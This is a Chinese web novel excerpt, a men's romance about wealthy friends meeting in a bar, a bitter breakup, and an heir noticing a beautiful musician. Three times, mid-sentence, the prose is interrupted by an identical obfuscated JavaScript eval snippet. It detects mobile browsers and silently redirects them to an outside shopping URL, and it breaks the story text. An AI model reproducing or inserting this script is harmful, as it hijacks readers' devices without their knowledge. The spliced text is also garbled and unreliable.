《我才不做下面那个!》 1. 误会 辛逾白开的酒吧就在榆陵区那条商业街背后的拐角处,蒋昭南赶到的时候舞池里已经挤满了各式各样的男男女女,DJ播放的电子音乐是他没听过的那种,节奏快到让他这个喜欢引擎轰鸣声的机车发烧友都觉得吵。 不过幸好辛逾白早就给他订了包厢,不然与其挤进这堆全是醉鬼的人群,蒋昭南觉得还不如把那群等着灌他酒的几个公子哥抓下来换个地儿叙旧。 手机系统自带的来电铃声勉强盖过了几个卡座边缘传来的音量,蒋昭南侧身快步穿过搂抱在一起的男人女人,边走边慢吞吞地从西裤口袋里掏出正在发着亮光的手机。 来电显示一眼也没看,手指划开接听键立刻就放在耳边不耐烦地问,“喂?” 也不知道这周围到底是谁在抽那种辣喉咙的劣质烟,烟味儿飘进他鼻尖的时候,蒋昭南烦得只想把前边儿挡他路的人全都给踹飞。 心情本就不怎么好,结果电话那头的声音又贱得要命,“怎么了二少,吃枪药了脾气这么爆?” 蒋昭南闻言狠狠捏了捏手机咬着牙回道,“你tm试试一下班就开车来这个鬼地方闻垃圾烟的感觉,我敢打包票,你绝对待不过三秒。” 对方听完不禁愣了愣,反应过来后又恢复了刚刚没个正形的打趣样,“那你还不赶紧上来,哥几个都等你好久了,还以为你临时放我们鸽子不来了呢。” “放心吧,”蒋昭南越过最后一对亲在一起的男女走上楼梯压着嗓子恶狠狠道,“就算你小子死门口了我都不可能不来,更何况……” “何况”后面半句话被蒋昭南吞进了嗓子里,电话那头的人显然没怎么在意,继续絮絮叨叨地笑骂着,“何况什么啊二少,都敢咒我死了还有什么不好说的?” 的确不好说,因为蒋昭南现在根本没功夫搭理他。 一闪而过的身影惊艳得有点过头了,蒋昭南握着手机的指尖轻微晃了晃,略显幽深的眼睛急切梭巡着已经慢慢隐没于人群的倩影。 发着光的屏幕还在不停传来另一头酒杯轻碰后随意调侃几句的轻笑声,发现这边许久没什么回应后,辛逾白仰头喝光高脚杯里不剩几口的红酒怀疑道,“蒋二少你还在听没,没听我就挂了,你赶紧上来啊。” “闭嘴。”蒋昭南根本没管辛逾白到底在电话那头神神叨叨说了什么,眼下他正着急寻找刚刚几乎是一见钟情的美人,舞池里染各种夸张发色的人都有,美人那一头漂亮的蓝色短发混在其中倒显得没那么特别了。 电话屏幕黯了下来,美人也彻底消失在了他的视野,蒋昭南低低地暗骂了一声后收起手机重新把它塞回了西裤口袋。 好不容易遇着个顺眼的,结果一不留神给人跑了,虽说挤进舞池到处转转总能有些收获,但他蒋昭南是谁?大名鼎鼎的谊莱二少,他如果真想得到点儿什么东西,有的是人上赶着帮他找,哪儿还用的着他亲自动手。 想到这儿,蒋昭南毫不犹豫地转头大步走回了刚才路过的楼梯口,长腿一迈随随便便就上到了二楼。 “我靠陆少,你今天手气不错啊,是不是最近得了什么好珠子涨了点儿运气?快跟咱讲讲门道,等哥们儿发达了绝对少不了你一份好处。” 只剩半根的香烟被辛逾白夹在嘴边,手里没剩几张的纸牌被他捏得皱在了一起,辛逾白却像浑然不觉似的抽出面前最左边的一张牌随意甩出。 陆泊年低头看清了桌上这张牌面的数字顿时无语得说不出话来,翘了很久的二郎腿也在这个间隙适时放下, “辛逾白你还要不要脸,藏着这种好牌还敢说我运气好?是不是这几天没挨揍皮痒了?” 末了陆泊年还是忍不住将视线瞟回自己的手牌挑眉讽了一句: “还有,你以为人人都跟你一样迷信?” 辛逾白闻言只耸了耸肩拿开咬在齿尖的半根香烟性感地吐了口烟圈后,满足地靠在身后的沙发椅上含混不清地轻笑道, “我迷信就迷信呗,反正陆少最清高不是么?咱这方面又不是同个世界的人,何必紧抓着不放嘛。” “再说了,”辛逾白随手抖了抖即将落下的烟灰跟个妖精似的调笑道,“如果真要动手,就冲我这脸这身材,你舍得么?” 这句话刚说完,辛逾白指尖松松夹着的半根烟被人立刻抢了去,手边少了东西,辛逾白稍显怔愣的面庞向上仰了仰,只见头顶那个顶着寸头还帅得离谱的男人拈着快燃尽的烟头无所谓地跟他对视。 “少抽点烟,对肺不好。” 低沉的声音好听到辛逾白短袖露出的那半截手臂打起了兴奋的颤栗。 “那你呢?”辛逾白侧身勾着程凌身上皮衣的一角故作随意地打着圈道,“分明就只剩最后一口了,程总却在这关头给我抢了,是不是专门逮着我欺负啊,信不信我过两天不打一声招呼杀到程家……” “唔。” 辛逾白喋喋不休的嘴被人突然堵住了,温暖但带着些些粗粝的指腹摩擦过柔软的唇瓣,泛着湿咸的气息蛮横地侵入口腔,坐在椅子上的辛逾白看着程凌这副一手堵他一手掐烟的轻松模样瞬间就起了坏心思。 灵巧的舌头沿着指腹边缘不留一丝缝隙地轻舔而过,拇指中间那枚银戒上刻着的一圈凹纹被全方位地照顾得很好,果然没过多久程凌就皱起了眉头。 “别玩儿了,”程凌哑着嗓子安抚似的揉搓了几下他的舌头,那只抵着辛逾白舌根的拇指却仍没有抽出去。 上次的事辛逾白还没来得及跟他计较,现在他倒又像个没事人一样跑这儿来逗他,是真当他辛逾白没脾气还是压根儿没把他说的话放心上?! 越想越委屈,刚刚还能因为两个星期没见打算随便赏他点甜头,但现在眼见这家伙一句道歉的话都没有就开始对他管来管去,不知道的还真以为他俩谈上恋爱了呢。 “嘶,”程凌的拇指指尖被狠狠地咬了一口,但其实说痛也不痛,程凌现在唯一拿不准的无非就是辛逾白的态度,惯了这么些年的小祖宗是真的说翻脸就翻脸,微信删了,电话也拉黑了,大有一种彻底要跟他划清楚河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133332|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉界的意思,可他明明也没觉得有多严重啊,怎么就闹成这样了? 辛逾白才不惯他,直接趁程凌分神的时候一挥手就拍开了他攥住他下颌的几根手指。 “继续。”辛逾白一眼也没看身后的程凌直接转身望向桌上的牌面,屈起的指节轻轻叩响面前的玻璃桌,示意对面还在仰头看热闹的陆泊年快点出牌。 知道没热闹可看了的陆泊年稍显遗憾地挑了挑眉才把停在程凌表情上的视线收了收,手里随便抽出一张数字更大的纸牌扔到桌上意有所指地开口, “我还以为辛逾白这家伙丧心病狂到把主意打到了咱们兄弟身上,没想到就只是单纯想气气程总,看来还真是我误会了。” “误会个屁。” 辛逾白手上没比他更大的牌了,本来他们几个完全是因为蒋昭南迟迟不来才临时起意打个牌,结果现在一个陆泊年一个程凌,个个把他烦得要命,好不容易攒起来的一点好心情硬生生被他俩全磨没了。 反正不想理程凌是真的,计划摆脱他也不假,这期间如果还能气到他更好,当然,气死最好。 “陆少有所不知,”几张数字连不到一起的纸牌簌簌落下,辛逾白靠在沙发椅的椅背用手抵着下巴放松地说着话, “我跟程总之间只有纯到不能再纯的兄—弟—情,干净到起不了一丝杂念的那种,不像我跟陆少你才是……” 陆泊年就跟看笑话似的憋着笑认真听辛逾白那嘴里还能编出些什么鬼东西,结果人正说到关键地方就被身后那个像尊雕像一样静静站在椅子后面的男人打断了。 “干嘛?”辛逾白心里还憋着气,扭头不看程凌送来的东西。 程凌无奈,只得弯腰凑到辛逾白耳边半央求着道,“你不是想抽烟么,我手上这烟味道好伤害小,特别适合你。” “不要。”辛逾白态度坚决。 认识这么多年,程凌也算摸透了辛逾白的脾气,这家伙喜欢你的时候恨不得把心都掏给你,可一旦不喜欢甚至是厌恶你了,那抽身离开的时候走得比谁都干脆。 程凌还是在那套住了五年的别墅一夜之间变得空空荡荡才彻底明白了这一点。 “行了宝贝儿,”程凌姿态放得极低,为避免对面看他俩笑话的陆泊年听到,程凌的声音也压得很低,“我真的知道错了,这几天也反思过了,我保证再也不向上次一样莽撞了。” 莽撞? 辛逾白心里只余冷笑,敢情他这几天就只反思出个“莽撞”?其他任何稍微深刻那么丁点儿的思考都没有,果然还是他最开始认识的那个程凌。 五年,整整五年啊,教只猪都知道他到底为什么离开,程凌却依然不知道,果然,猪都比他悟性高。 可事实上辛逾白算看明白了,以程凌的智商不是学不会,他是真不想学,不想把时间花在根本没可能有结果的人身上,现在还乐意哄他只不过是因为还没玩儿够,还想跟他讨点儿早就习惯了的好处。 去你大爷的程凌!老子不陪你玩儿了! 2. 迷人 辛逾白的脸色越来越难看,程凌却像完全看不见一样不死心地在他耳边轻哄着,一会儿“宝贝”一会儿“祖宗”,听得辛逾白心里越来越烦躁。 “噌”的一下,程凌手里的烟被突然离开椅子的辛逾白一把夺过,还没等程凌反应过来,辛逾白已经把它扔到地上狠狠踩了好几脚。 “宝贝儿,”程凌的语气莫名多了几分涩然,“这是我专门找人给你定制的烟,味道是你最喜欢的柑橘香……” “程凌你他妈恶不恶心?!” 辛逾白几乎是指着程凌鼻子骂,“我俩已经结束了,现在不管你做什么我都不会领情,更何况我根本就没要求你做这些,少拿你的一厢情愿道德绑架我!” 程凌闻言直起腰身攥紧拳头满目怒意地跟辛逾白对视,“什么结束,我没同意,那就做不了数!” “我管你同不同意!”辛逾白气得差点把椅子甩到他身上,“反正老子腻了不想玩儿了,至于你,爱咋地咋地!” 辛逾白说完就在包厢几人众目睽睽的视线下从玻璃桌那头气冲冲地坐到了另一头的真皮沙发上,程凌见状想跟过去,结果才移动一小步就被辛逾白狠狠瞪了回去, “程凌,别让老子看不起你。” 程凌的步伐顿了顿,辛逾白跟没看见似的一声不吭地扭头拿起这头桌上的红酒往杯子里倒。 真心就是这么个现实的东西,当你拥有的时候不知道珍惜,等它不再属于你的时候,你连把它重新找回来的机会都没有。 分明只隔了条不大的长桌,程凌却没了抬脚的勇气,心是远的,哪怕身体再近也没用。 等程凌颓然地坐在辛逾白坐过的沙发椅上低着头沉默地望向辛逾白的侧脸时,坐他对面的陆泊年侧身从背后的桌上拿了一个干净酒杯倒了半杯红酒推到程凌面前。 陆泊年毫不掩饰地笑道,“喝点儿吧程总,反正这老婆一时半会儿也追不回来,倒不如好好坐下想想问题到底出在哪儿。” “老婆?” “什么老婆?” 包厢一侧的金属门被人从外面一把推开,来人走得很急,目的也很明确,还没等里面几个笑着把他迟到这事儿数落完,蒋昭南立刻直奔桌上的红酒将剩下的半瓶一饮而尽。 沙发上坐得东倒西歪的辛逾白见状颇有些无语地打趣他,“二少这一路还真是辛苦,一口水没喝尽跑我这儿来霍霍。” 喝了酒勉强算活过来的蒋昭南自觉移到这几个哥们儿给他留的中央位置笑着说, “这不是刚回国老头管得紧嘛,谁叫我现在也算半个公众人物,一举一动都被人盯着,馋的时候连稍微喝点儿酒都不行。” “再说了,”蒋昭南脱下西装外套随手搭在沙发上挑眉笑道,“大家都是兄弟,喝你两口酒怎么了,这么多年的交情难道还比不上半瓶酒?” 听到这儿,辛逾白突然觉得几年前蒋昭南半夜骑车差点连人带车一起掉进武津江,结果第二天被他大伯追着打的时候形容的那句“文人长相,痞子作派”真的特别贴切。 虽说认真算起来蒋昭南这相貌的确称不上所谓的“文人”,但架不住他妈实在生得漂亮,还是个中俄混血,花期比同龄的俄国女性长得多,快五十岁的年纪看起来差不多只有三十上下,跟蒋昭南一起出席活动的时候不知道的还以为人是他姐。 沾他妈的光,蒋昭南的骨相极其优越,眉骨高眼窝深,一双睫毛跟刷子似的浓密又纤细,更可气的是这人还长了双看狗都深情的眼睛,尤其是骑他那辆宝贝机车的时候,头盔下唯一完整露出的那双眼睛真的可以迷死人。 不过这还是前些年的时候了,这几年蒋昭南跟他哥去国外打拼成长了不少,现在整个人隐隐透着股说不上来的属于成熟男人的气质,的确跟从前青涩时期的状态有了不少区别。 尤其这西装一穿,人模狗样的,特能唬住人。 “我说老白,”蒋昭南翘着二郎腿神色疑惑又略显惊恐地侧身看向辛逾白,“你老是盯着我干嘛,不会是看上我了吧,可别啊,你有家室这事儿咱先不说,我特么可是24k纯直男,比钢筋还直的那种直,你掰不弯的。” 辛逾白却直接听笑了,刚会爬就在一起玩儿的兄弟,蒋昭南什么玩意儿他能不知道? 跟他亲哥那个很早就出国留学的高材生不同的是,蒋昭南刚巧生在了他爸跟他大伯争家产的那几年,那时候他爸忙着开公司根本没时间管他,所以蒋昭南十几岁的时候就已经抽烟喝酒打架样样精通,一有点闲钱就拿去买机车,玩儿得狠的时候可以连着好几宿不回家,他爸的竹条硬是打断好几根了都不管用。 特别是青春期,那更浑得要命,中二病犯的时候一本破书卷成筒就可以追到人校霸家里打,他们当时那几个玩得好的兄弟根本拦都拦不住。 所以就这么一个招人烦惹人嫌的混球,在人家青春懵懂开始偷偷谈恋爱的年纪,他就只知道招猫逗狗抽烟喝酒,别说辛逾白这么多年没对他产生一丁点儿别的心思,就是产生了也会在第二天被他抓着去网吧打游戏的路上消失得彻彻底底。 “放心吧,”辛逾白挥手拍开蒋昭南伸过来想测他额头温度的手带了几分认真道,“就算我特么瞎了看上陆泊年都不会看上你。” 蒋昭南低笑着收回手转头望了望坐一旁无辜躺枪的陆泊年,顺带的话,他的视线也在低头喝酒的程凌身上转了一圈。 “行行行,老陆脾气好,你喜欢也正常。”说罢蒋昭南结结实实地仰靠在沙发上故作随意地问了一嘴,“那之前那个呢,你不要了?” 辛逾白懂他的意思,虽然觉得这人还是一如既往的幼稚,但却仍忍不住背对着程凌那头轻笑着回道,“之前那个又老又没用,像我这种既年轻眼光还好的抢手货当然不想要他这个累赘啊。” “噢——”蒋昭南故意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133333|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把语调拖得很长,戏谑的目光有意无意地往程凌那边瞟,程凌这人当过兵,不笑的时候显得很冷峻,哪怕遇上这种只有他们几个好哥们儿在的场合也不会轻易放松下来,尤其是现在,服务生新送过来的红酒一杯杯下肚,玻璃制成的酒杯隔开了蒋昭南打量的目光。 懒得看一个失恋的家伙喝闷酒,蒋昭南没意思地转过头给自己重新倒酒。 “话说二少,”从刚才到现在一直没怎么说过话的梁柏实突然举酒跟蒋昭南碰了一杯,“你这回国都快一个月了,为什么直到现在才把哥几个聚起来喝一杯,是不是现在发达了看不起我们这些兄弟们了。” “老梁你这说的什么话?”蒋昭南碰过杯后熟练地将杯里的酒一口气喝干,“我回国这事儿也挺突然,公司很多事情我都还没处理好,老头那脾气你也知道,不插手也不帮忙,光签新人这点儿破事都能让我每天忙得脚不沾地。” 梁柏实闻言不禁放下酒杯稍显惊讶道,“签新人都得你亲自去,底下那群家伙都是吃白饭的么?” “这不没办法嘛。”蒋昭南将酒杯随便搁在桌上继续翘回他的二郎腿,“刚建立没多久的分公司连个部门主管都没有,大事安排不了小事又执行不下来,下面的人随便干点儿什么都得手把手教。” “就冲我手底下那几个拿出去都觉得丢人现眼的活宝,要是真把签新人这事儿交给他们,分分钟就能给我搞砸。到时候背景没调查到位就给公司签几个没实力也没情商的资源咖,老头这十几年积攒起来的口碑不出几天绝对完蛋。” 梁柏实没想到这背后所谓的“隐情”竟然这么离谱,于是只好憋着笑问蒋昭南这几年在国外的生活经历,梁柏实愿意问,蒋昭南也乐意讲,总归兄弟们这些年也不常聚,现在好不容易有机会凑在一起,当然是想说什么就说什么。 于是蒋昭南就从他刚出国操着一口别扭的英语跟人谈生意开始,一直讲到后来慢慢谈下大单子认识了不少社会名流,也出席了好几次品牌活动,积累了国外娱乐圈和时尚圈一定量的人脉。 当然,这期间他被人针对搞恶意竞争搅黄了好几次合作,以及在国外遇到抢劫差点跟人干起来的事,蒋昭南要么简短一句话概括,要么就干脆不讲,前者是因为他后来反击了回去所以没必要再提,后者是因为这件事实在太傻逼,他要脸,所以根本不可能提一句。 包括梁柏实在内的几个兄弟起初还听得津津有味,但越到后面比起这些不怎么听得懂的商业故事,他们还是更想知道蒋昭南的私人生活。 平时就喜欢八卦的陆泊年率先开问了,“二少你这讲半天都是生意上的事,难不成你在国外就没一点儿艳遇?” “艳遇?”蒋昭南忽然愣了愣,而后仔细在脑海里回忆了一下,过了老半天才回道,“好像还真没有,不过也仅限于国外。” “国内的话,” “刚刚就有一个。” 3. 美人 “刚刚?”辛逾白喝酒的动作顿了顿,看蒋昭南表情不像开玩笑后才有些不怀好意地笑道,“二少你也太不够意思了,难怪这一路来得这么迟,原来是被美人缠住脱不开身。” 说完这句话辛逾白又跟从小到大没听过八卦似的把手搭在蒋昭南肩上问,“快告诉哥们儿,那美人长啥样能把你这个眼睛长头顶上的挑剔鬼迷成这样?” 这话辛逾白可没说错,蒋昭南自己这脸本就长得好,他又是开经纪公司的,管她明星还是素人,什么漂亮的没见过,能在这么短时间内被蒋昭南记住还能把它称之为“艳遇”的绝对不是一般人。 “美人?” 蒋昭南细细回想了一下,虽然只有一个简单的侧颜和背影,但那份独有的只一瞬间就能让他心跳漏掉一拍的震撼实在骗不了人,于是蒋昭南思索半天也只得出了简洁到有些过分的几个字, “的确很美。” 这下就连梁柏实都觉得无语了,“我说二少,你别不是想搞个什么“金屋藏娇”才这么说的吧,就单单一个“美”字,比我上大学那会儿学的公共关系还空洞,简直魂穿坐最后一排听那老师瞎扯淡现场。” “去你的吧,”蒋昭南直接笑骂道,“以前不懂事犯浑那段日子早过去了,现在别说金屋,就是一个镀银的狗窝我都得考虑半天。” 陆泊年闻言边喝酒边调侃道,“二少怎么现在越活越窝囊了?读书那会儿不还说如果以后真遇到了喜欢的,甭管她要什么,但凡是你能做的,就算口袋里只剩一个钢镚儿都得给它买下来。” “对啊,这话现在也作数。”蒋昭南边说边笑着从西装外套的口袋里掏出了一盒印满了英语的香烟分着递给了身旁几个兄弟。 “哟,洋烟。” 辛逾白接过烟身仔细瞄了一眼后没什么负担地咬在嘴边等陆泊年给他打火,缓缓深吸一口气不过肺,留着草木香的细烟被卷进舌腹然后缱绻地吐出一道道完整的烟圈。程凌看得有点懵,但也只接过烟夹在指尖,不知道在想什么。 蒋昭南右手的拇指与食指夹着烟,没抽,只一个劲儿地揉搓着烟嘴,眼神看起来有点迷蒙。 陆泊年抽着烟缓过劲儿才半躺着跟蒋昭南说话,“二少,你这招够狠的啊,光分个烟的功夫,直接就岔开了大伙儿想知道的话题。” “我没这意思,”蒋昭南忽地笑了起来,“这不只是碰巧看对眼了嘛,没吃过饭也没聊过天,有没有以后都还难说。” 梁柏实听着听着突然有点恨铁不成钢地气说,“二少,敢情你这艳遇就只是单方面觉得人好看呗,话都没搭一句手都没牵一下,你都二十六了还搞初中生谈恋爱那套啊。” “老梁这你就说错了,”辛逾白拍拍梁柏实的肩膀示意他冷静一下,下一秒又朝着蒋昭南的方向语重心长地叹着气,“人初中生都知道把人约出来看个电影什么的,但他却不知道,很明显,他现在追人的境界还只停留在小学生水平。” “行了啊,再说可就没意思了。”蒋昭南一人敬了杯酒,喝得尽兴又浮了点儿醉意才像只猫似的窝在沙发上缓慢开口,“其实,我只看见了她的侧脸,楼梯上看见的,就在靠近吧台那边儿,算起来的话,可能真还只有一眼,但就这么一眼……” 蒋昭南声音带上了点儿哑,“甭提有多漂亮了。” 自诩情场高手的陆泊年实在听不下去了,眼见蒋昭南越陷越深,他不得不开口“提醒”道,“兄弟,不是我打击你啊,老白这酒吧你也知道,一眼望去花里胡哨的装修咱先不说,就那舞池灯光打下来,再漂亮的五官都白搭,关键你还站得远,别人是男是女你可能都分不清。” 蒋昭南闻言慢慢皱紧了眉头,语气带了几分认真道,“虽然只是一个侧脸,但我绝对看清了她的五官。” 末了,他还特别不服输地补了一句, “而且,男人哪有这么漂亮的?” 开酒吧见过不少大风大浪的辛逾白看这场景莫名有种奇怪的预感,他总觉得flag这东西多少沾了点儿玄学,要不是立不得,要不就是一立就倒,反正他这些年的确就没见谁真能把自己说的话做到从一而终。 于是带着点儿看笑话一类的意味,辛逾白笑着问蒋昭南,“别的咱先不说,万一他真是男的你怎么办?” “真是男的?” 也不知道是酒喝得急导致那点儿几不可闻的醉意上了头,还是窝沙发里就跟回了家似的容易犯困,蒋昭南整个人懒洋洋地靠在沙发扶手那儿,拽得二五八万地回了一句,“那就让他滚蛋,反正老子不是gay,别说上床了,就是亲一下都膈应得很。” “行啊,”辛逾白从桌上随手捞回自己的酒杯不置可否地笑了笑,“那就预祝二少得偿所愿,进度快的话,说不定今年就能把人娶回去,到时候别忘了请兄弟几个喝喜酒。” 喜酒? 蒋昭南脑袋沉得慌,升腾的醉意熏得他头疼,没功夫跟辛逾白逗趣,于是摆摆手随意应付了两句,“如果真能成的话,伴郎这差事,你们一个都跑不掉。” 这话说完,蒋昭南直接就着沙发扶手缓缓地,沉沉地睡了过去,直到这时,坐得离他最近的梁柏实才发现这家伙脸上疲惫的倦意。 人还是帅的,眉宇标致得跟个美术馆里的雕塑似的,跟他们在一起的时候插科打诨精力无限,可一旦静了下来,那些隐没在他外表背后的丝丝缕缕的乏累与愁绪统统涌了上来。 “老白,”陆泊年起身抱着手安静地看了看蒋昭南沉睡的模样,“你说蒋昭南这家伙到底几天没睡过觉了?” 辛逾白站他跟前低头看了会儿,随后压着声音无奈地回了句,“这谁知道呢?” 蒋昭南这次回得急,估计跟他哥有关,他爸也是个偏心的,一点儿东西没准备,刚回国就得接手一个谁都指望不上的新公司,不忙死才怪。 关键蒋昭南这小子死要面子活受罪,一点儿苦不诉撸起袖子就开干,凭着一腔热血费劲巴拉地给这公司盘活,背后付出的,汗水也好精力也罢,外人谁也看不着。 梁柏实从沙发一头捡起蒋昭南的西装外套拍了两下就顺手盖在了他身上,今晚的主角本该是蒋昭南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133334|149981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在人睡着了他们几个也取消了待会儿转场去吃饭的计划,再加上程凌找了个借口约辛逾白出去说话,他跟陆泊年对着喝了几杯觉得没意思就拿好外套各回各家了。 至于蒋昭南,辛逾白跟好几个服务生都打过招呼了,这间包厢随他用,醒来想要什么直接说,账记在他们老板名下。 包厢的隔音效果特别好,几道厚实的吸音板将包厢里的静谧与包厢外的喧噪完全地阻绝开来,蒋昭南实在太累,累得连梦都来不及做,这几天为宣传跑合作一连熬了好几个大夜,有时候好不容易找到机会睡会儿还得时刻注意手机会不会弹出合作商的消息,像这么高强度的连轴转别说他了,就是换个不用休息的铁人都得累够呛。 蒋昭南醒来的时候已经是后半夜了,整个包厢一点儿光都没有,周遭静得够他手下艺人连拍十部恐怖片。 蒋昭南从身上披着的西装口袋里掏出手机看了看,那几个兄弟都给他发了消息,意思都差不多,要不叫他注意身体不然娶不着老婆,要不就直接给他甩了张购物截图,蒋昭南眯着眼仔细看了看,琳琅满目的保健品,护眼的护肝的,甚至还有……护肾的?! 为了不辜负兄弟们的好意,蒋昭南一个个回了消息,用词稀松平常,简单表示自己会注意身体也谢他们几个关心。 唯一到了备注叫“辛逾白”的那张购物截图下,蒋昭南不客气地甩了条语音,听起来颇有几分咬牙切齿的意思,“老白,你心意我看到了啊,难为你破费买这么多东西,不过你也知道我身体一向比较好,你买的这些我基本都用不上,尤其养肾那玩意儿,我真感觉你比我更需要。” 发完消息蒋昭南就着手机光看到桌上有水,随手倒了杯水喝完就披上西装拉门走了出去。 “二少,您有什么需要吗?”守在外面的服务生礼貌地侧身站到他面前。 “没什么需要的,”蒋昭南笑了笑,“等你老板回来的时候麻烦跟他说一声,这儿的酒很好喝。” “好的,我会替您转告。”服务生也礼貌笑了笑。 后半夜的酒吧比蒋昭南刚进来的时候还热闹,DJ放的舞曲震得蒋昭南耳朵疼,灯光也是,蒋昭南才刚走下楼梯差点就被晃瞎了,如果辛逾白不是他多年的好兄弟,蒋昭南觉得他高低该找这老板要点儿医疗费。 当然,他也可以给辛逾白塞点儿钱,不为别的,就单纯治治脑子,改善改善审美,争取早日回归正常。 “美人儿,今晚有约么?” 轻佻又直白的搭讪,一听就知道是个喝多了的酒鬼见色起意,看对方漂亮想把人带走玩点儿成人游戏。 蒋昭南站在比他们高一级的平台上,辛逾白设计的楼梯怪得要命,他只看得见那个醉鬼的后脑勺,至于他对面的美人,那是真一点儿也瞅不着。 更何况搭讪这事儿放酒吧特正常,只要没发生什么恶劣事件,谁也拿那群醉鬼没办法。 蒋昭南本来懒得管,就想当没看见一样从他们中间穿过去,结果狭小的楼梯空间突然悠悠地传来一句, “你觉得呢?” 4. 法式情歌 实在不怪蒋昭南,那醉鬼对面的声音清冷中透着股似笑非笑的懒散,分明是偏磁性甚至于低沉那挂的男声,可偏偏尾音收着劲,上下打了个旋儿,跟藏着钩子似的,实在勾人得要命。 鬼使神差地,蒋昭南竟慢慢打消了下楼的念头,静静待在平台上,探究的目光若有若无地投向那醉鬼对面刚好被完全挡住的男人。 “我……我觉得?” 醉鬼喝得实在有点多,刚刚酒劲上头不由分说把人拦了下来,现在稍稍清醒以后才发现对面竟是一个比他还高的男人,他净身高一七六,穿鞋估计刚好一米八,结果对方比他高了小半个头,看样子大概在一八六上下。 正当醉鬼疑惑自己为什么会把人拦下来的时候,对方微微弯了弯腰身,洁白而极具设计感的衬衫被他松开了从上到下的第一颗纽扣,不经意露出的锁骨那处的皮肤白得晃眼。 如果仔细观察一下的话,锁骨下方似乎还有一道深色纹身,楼梯附近的灯光太黯,醉鬼看不清那到底是什么,但他还是眯着眼瞄见了半对翅膀,估计是某种鸟类,又或许是某种蝶类,反正他又不懂艺术,管它是什么。 祁砚知开始等得有点不耐烦了,虽说酒吧发生这种事的确再寻常不过,但他实在不喜欢,不喜欢喝酒的时候被人打扰,不喜欢在这么逼仄的空间跟人讲话。 当然,他最不喜欢被不知道从哪儿钻出来的醉鬼堵着问“约不约?”,尤其对方还长得不怎么尊重他眼睛。 祁砚知看着醉鬼直勾勾盯着他脸隐隐露出几分痴迷的模样不禁勾起了一抹冷笑,喝醉了的人意识并不清明,刚刚问过的问题很快就忘得干干净净。 祁砚知没和丑人纠缠的耐心,特别是在对方不断犯蠢想要上来拉他衣袖的时候,祁砚知内心升腾的恶意简直到达了顶峰。 蒋昭南在平台等了一会儿,下面没再传出什么声响。就在他想探头看看底下那俩人是不是已经离开时,一句冷漠到已经可以称之为凌厉的低语,轻轻地回荡在狭窄无光的楼梯口, “我觉得,你真该去死。” “什么?”那人醉得厉害,酒劲一阵阵地上头,不正常的红晕挂了满脸,祁砚知看一眼都觉得恶心。 “字面意思。”祁砚知穿得简单,底下一条朋友设计的牛仔裤把肌肉线条极为流畅的双腿衬得笔直又修长。 隔着一张刚从裤子口袋里掏出的纸巾,祁砚知毫不犹豫地挥手扇了对方一巴掌。 没什么重量的纸巾轻飘飘落在地上,被打懵了的醉鬼勉强恢复了几分清明,祁砚知没收劲,鲜红的五指印清晰地印在对方的脸颊一侧。 当这醉鬼捂着脸不可置信地看向靠着墙站得随意的祁砚知时,那疼得吸气甚至带了点儿委屈的模样看起来真有几分可笑。 可惜,祁砚知的性子是出了名的恶劣,一张漂亮得不似真人的面孔配上随便出首单曲就能让业界大半音乐人深深折服的才华,外貌也好,能力也罢,祁砚知所拥有的一切几乎都可以说是顶配中的顶配。 然而就这么一个年少成名的天才音乐人,祁砚知这三个字简直就是“离经叛道”的代名词。 白的壳子,黑的芯子,长得好看那就偏不露脸,大众想让他多做些流行音乐,祁砚知就偏爱玩儿迷幻摇滚,节奏越强烈,音调越变化他就越喜欢。 选这家酒吧的原因也很简单,够噪。 刚发完一首给某珠宝品牌写的商业单曲,现在的祁砚知急需寻找一个足够喧闹的环境发泄自我。 酒都还没喝高兴,莫名其妙就被人拦着耗在这里,正愁有气没地儿撒的祁砚知当然不会放过这个撞他枪口上的傻子。 “疼么?”祁砚知栖身问得温柔,做音乐的基本都有一副好嗓子,只要祁砚知想,再缱绻细腻的嗓音他都发得出。 “疼……”那一巴掌的力度真的很大,祁砚知说话的时候这醉鬼都还捂着脸满眼淬着怒火。 “真的很疼么?”祁砚知望过来的时候朝他垂眼笑了笑,染着轻松的笑意终于让这倒霉的醉鬼想起来他当时为什么要把人拦下来了? 为什么? 还能为什么?! 就这张脸搁谁不迷糊啊!! 冷脸的时候随便一个眼神就能拒人于千里之外,笑的时候右脸脸颊偏下颌的地方又会浮起一个小小的梨涡,梨涡不大却长得很精巧,像个唇边的美人痣似的,稍微动一下就能把人迷得一愣一愣。 尤其遇上谁喝多了脑袋也迷糊的时候,其实什么都还没看明白,但当那张秒天秒地的脸露出来的时候,一切都完了。 “不……不不疼,”刚刚准备骂上去的那堆脏话被短暂地犹豫一秒后哆哆嗦嗦地吞了回去。 